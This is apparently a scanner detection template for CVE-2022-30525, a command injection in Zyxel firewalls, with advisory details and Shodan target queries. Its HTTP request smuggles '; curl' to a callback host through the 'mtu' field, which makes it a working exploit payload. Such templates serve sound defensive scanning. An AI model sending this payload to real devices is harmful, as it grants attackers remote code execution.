id: CVE-2022-30525

info:
  name: Zyxel Firewall - OS Command Injection
  author: h1ei1,prajiteshsingh
  severity: critical
  description: |
    An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
  reference:
    - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
    - https://github.com/rapid7/metasploit-framework/pull/16563
    - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30525
    - http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-30525
    cwe-id: CWE-78
    epss-score: 0.99944
    epss-percentile: 0.99972
    cpe: cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zyxel
    product: usg_flex_100w_firmware
    shodan-query:
      - title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
      - http.title:"usg flex 100","usg flex 100w","usg flex 200","usg flex 500","usg flex 700","usg flex 50","usg flex 50w","atp100","atp200","atp500","atp700"
  tags: cve2022,cve,packetstorm,zyxel,firewall,unauth,kev,msf,rce,vkev,vuln

http:
  - raw:
      - |
        POST /ztp/cgi-bin/handler HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 500
# digest: 4a0a0047304502205282ac74910fbb47db68df954185413e21d563a9eabe5b0e4b3ce4c2c69dc435022100d77b04cbe8b2cfa670eeff3158046f82054d247bc85e6b8a71f3986cd962cf8c:922c64590222798bb761d5b6d8e72950